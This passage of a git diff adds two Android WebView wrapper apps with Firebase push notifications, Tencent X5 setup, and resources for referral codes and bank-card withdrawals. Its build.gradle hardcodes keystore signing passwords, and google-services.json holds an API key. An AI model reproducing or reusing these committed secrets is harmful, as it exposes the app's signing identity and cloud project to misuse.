+import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/gk9/src/main/java/com/web/gk9/WebApplication.java b/gk9/src/main/java/com/web/gk9/WebApplication.java new file mode 100644 index 0000000..ddf6822 --- /dev/null +++ b/gk9/src/main/java/com/web/gk9/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.gk9; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/gk9/src/main/res/drawable-anydpi/ic_action_back.xml b/gk9/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/gk9/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/gk9/src/main/res/drawable-hdpi/ic_action_back.png b/gk9/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/gk9/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/gk9/src/main/res/drawable-mdpi/ic_action_back.png b/gk9/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/gk9/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/gk9/src/main/res/drawable-v24/ic_launcher_foreground.xml b/gk9/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/gk9/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/gk9/src/main/res/drawable-xhdpi/ic_action_back.png b/gk9/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/gk9/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/gk9/src/main/res/drawable-xxhdpi/ic_action_back.png b/gk9/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/gk9/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/gk9/src/main/res/drawable/big_bg.xml b/gk9/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..c1461de --- /dev/null +++ b/gk9/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/gk9/src/main/res/drawable/ic_launcher_background.xml b/gk9/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/gk9/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/gk9/src/main/res/drawable/input_bg.xml b/gk9/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/gk9/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/gk9/src/main/res/drawable/pass_word_bg.xml b/gk9/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/gk9/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/gk9/src/main/res/drawable/pass_word_bg1.xml b/gk9/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/gk9/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/gk9/src/main/res/drawable/pass_word_bg2.xml b/gk9/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/gk9/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/gk9/src/main/res/drawable/shape_btn_bg.xml b/gk9/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/gk9/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/gk9/src/main/res/drawable/shape_dialog_bg2.xml b/gk9/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/gk9/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/gk9/src/main/res/drawable/shape_dialog_bg3.xml b/gk9/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/gk9/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/gk9/src/main/res/drawable/shape_dialog_bg_new.xml b/gk9/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/gk9/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/gk9/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/gk9/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/gk9/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/gk9/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/gk9/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/gk9/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/gk9/src/main/res/mipmap-hdpi/ic_empty.png b/gk9/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/gk9/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/gk9/src/main/res/mipmap-hdpi/ic_pull_down.png b/gk9/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/gk9/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/gk9/src/main/res/mipmap-xhdpi/ic_close.png b/gk9/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/gk9/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/gk9/src/main/res/mipmap-xhdpi/ic_menu.png b/gk9/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/gk9/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/gk9/src/main/res/mipmap-xxhdpi/app_logo.png b/gk9/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..ca93a6b Binary files /dev/null and b/gk9/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/gk9/src/main/res/mipmap-xxhdpi/app_logo1.png b/gk9/src/main/res/mipmap-xxhdpi/app_logo1.png new file mode 100644 index 0000000..aae1c66 Binary files /dev/null and b/gk9/src/main/res/mipmap-xxhdpi/app_logo1.png differ diff --git a/gk9/src/main/res/values-en/strings.xml b/gk9/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/gk9/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/gk9/src/main/res/values-night/themes.xml b/gk9/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/gk9/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/gk9/src/main/res/values/colors.xml b/gk9/src/main/res/values/colors.xml new file mode 100644 index 0000000..19ff471 --- /dev/null +++ b/gk9/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #FFFFFF + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/gk9/src/main/res/values/strings.xml b/gk9/src/main/res/values/strings.xml new file mode 100644 index 0000000..fc768dd --- /dev/null +++ b/gk9/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + GK9 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/gk9/src/main/res/values/themes.xml b/gk9/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/gk9/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/gk9/src/main/res/xml/app_updater_paths.xml b/gk9/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/gk9/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/gk9/src/main/res/xml/network_security_config.xml b/gk9/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/gk9/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/gk9/src/main/res/xml/provider_paths.xml b/gk9/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/gk9/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/gk9/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/gk9/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/gk9/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/goldau/.gitignore b/goldau/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/goldau/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/goldau/build.gradle b/goldau/build.gradle new file mode 100644 index 0000000..2bc0e84 --- /dev/null +++ b/goldau/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.goldau" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "goldau" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/goldau/dskjweb.jks b/goldau/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/goldau/dskjweb.jks differ diff --git a/goldau/google-services.json b/goldau/google-services.json new file mode 100644 index 0000000..553e7b3 --- /dev/null +++ b/goldau/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "145906320651", + "project_id": "goldau-18c71", + "storage_bucket": "goldau-18c71.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:145906320651:android:35414dea3b34a27b614e0e", + "android_client_info": { + "package_name": "com.web.goldau" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyBH5YqyV-tKMDp5HjA70559atb_3VpN4YE" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/goldau/ppn.jks b/goldau/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/goldau/ppn.jks differ diff --git a/goldau/proguard-rules.pro b/goldau/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/goldau/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/goldau/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/goldau/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/goldau/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/goldau/src/main/AndroidManifest.xml b/goldau/src/main/AndroidManifest.xml new file mode 100644 index 0000000..f26eebd --- /dev/null +++ b/goldau/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/goldau/src/main/java/com/web/goldau/MainActivity.java b/goldau/src/main/java/com/web/goldau/MainActivity.java new file mode 100644 index 0000000..ef6e3a2 --- /dev/null +++ b/goldau/src/main/java/com/web/goldau/MainActivity.java @@ -0,0 +1,63 @@ +package com.web.goldau; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import androidx.annotation.NonNull; + +import com.bumptech.glide.Glide; +import com.google.android.gms.tasks.OnCompleteListener; +import com.google.android.gms.tasks.Task; +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 209; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://goldau.it.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#25190e"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#090906"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); +// showTopV1.setImageResource(R.mipmap.start_gifs); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(new OnCompleteListener() { + @Override + public void onComplete(@NonNull Task task) { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + } + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/goldau/src/main/java/com/web/goldau/MyFirebaseMessageingService.java b/goldau/src/main/java/com/web/goldau/MyFirebaseMessageingService.java new file mode 100644 index 0000000..35773f1 --- /dev/null +++ b/goldau/src/main/java/com/web/goldau/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.goldau; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/goldau/src/main/java/com/web/goldau/WebApplication.java b/goldau/src/main/java/com/web/goldau/WebApplication.java new file mode 100644 index 0000000..f2f7862 --- /dev/null +++ b/goldau/src/main/java/com/web/goldau/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.goldau; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 